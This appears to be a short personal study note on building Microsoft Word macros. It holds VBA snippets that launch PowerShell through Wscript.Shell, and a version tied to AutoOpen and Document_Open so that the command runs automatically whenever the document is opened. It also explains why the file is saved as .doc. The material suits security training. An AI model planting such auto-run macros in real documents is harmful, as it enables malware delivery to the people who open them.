- should consider saving the file with `.doc`
- `.docx` file type cannot save macros without attaching a containing template.
[[LibreOffice ODT ODS]]
# Microsoft Word
- `View` > `Macros`
- ![[Pasted image 20251207204530.png]]
- ![[Pasted image 20251207204551.png]]
- ```bash
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
```
- ```bash
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
```